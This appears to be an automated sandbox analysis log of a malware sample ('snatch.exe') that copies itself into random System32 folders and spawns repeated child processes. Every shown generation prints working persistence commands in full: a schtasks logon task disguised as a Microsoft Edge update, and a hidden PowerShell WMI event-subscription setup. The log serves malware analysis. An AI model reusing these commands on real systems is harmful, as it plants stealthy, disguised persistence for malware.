C:\Windows\System32\u9a8a21wh8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3512
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-wnsqzx5y9d /tr C:\Windows\System32\npb9bsffq4\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\npb9bsffq4\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:568

C:\Windows\System32\npb9bsffq4\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\npb9bsffq4\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2660
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-fjsnxf4uei /tr C:\Windows\System32\nklnm0sin6\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\nklnm0sin6\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3416

C:\Windows\System32\nklnm0sin6\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\nklnm0sin6\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4904
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-q8nhv1yckk /tr C:\Windows\System32\kxd7dnz119\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\kxd7dnz119\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4316

C:\Windows\System32\kxd7dnz119\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\kxd7dnz119\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4188
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-7li7ohajq6 /tr C:\Windows\System32\rtkzsuegki\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\rtkzsuegki\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4292

C:\Windows\System32\rtkzsuegki\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\rtkzsuegki\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3028
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-mna3lai1ho /tr C:\Windows\System32\aui7a3eat8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:2656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\aui7a3eat8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5556

C:\Windows\System32\aui7a3eat8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\aui7a3eat8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3012
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-662h9e6ixz /tr C:\Windows\System32\onipzhowxg\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\onipzhowxg\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4824

C:\Windows\System32\onipzhowxg\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\onipzhowxg\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5524
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-b5h2iey2l3 /tr C:\Windows\System32\s0g5e0ijyc\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\s0g5e0ijyc\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4644

C:\Windows\System32\s0g5e0ijyc\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\s0g5e0ijyc\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4660
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-crk71mw6jb /tr C:\Windows\System32\48uk1ha8hw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:4796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\48uk1ha8hw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5652

C:\Windows\System32\48uk1ha8hw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\48uk1ha8hw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1232
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-75xfwwavmg /tr C:\Windows\System32\f67uszlome\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\f67uszlome\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:6004

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:2656

C:\Windows\System32\f67uszlome\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\f67uszlome\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:4680
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-u9dfye2h5f /tr C:\Windows\System32\chokyowm6x\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\chokyowm6x\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:5956

C:\Windows\System32\chokyowm6x\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\chokyowm6x\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:4744
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-3w8g2p2yul /tr C:\Windows\System32\c7lsna4h1n\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\c7lsna4h1n\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5664

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:2320

C:\Windows\System32\c7lsna4h1n\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\c7lsna4h1n\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:4816
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-gmmnlp6s4l /tr C:\Windows\System32\6ca9v39575\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\6ca9v39575\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1872

C:\Windows\System32\6ca9v39575\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\6ca9v39575\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:5532
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-895vpp0zv4 /tr C:\Windows\System32\mqn8b7z0hk\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\mqn8b7z0hk\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5156

C:\Windows\System32\mqn8b7z0hk\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\mqn8b7z0hk\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:356
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-kf5dmu6d0w /tr C:\Windows\System32\rp9awbjus8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\rp9awbjus8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:256

C:\Windows\System32\rp9awbjus8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\rp9awbjus8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:1316
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-lyzd7v3gpe /tr C:\Windows\System32\w73xyvf563\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\w73xyvf563\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:3424

C:\Windows\System32\w73xyvf563\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\w73xyvf563\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:1792
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-hlwb9ctp8h /tr C:\Windows\System32\omyy3eb2oh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\omyy3eb2oh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  PID:5364

C:\Windows\System32\omyy3eb2oh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\omyy3eb2oh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:556
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-euv31plojk /tr C:\Windows\System32\91jmyjq8qy\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\91jmyjq8qy\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6268

C:\Windows\System32\91jmyjq8qy\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\91jmyjq8qy\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:6376
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-3yud91iejh /tr C:\Windows\System32\6lavn4vsnw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
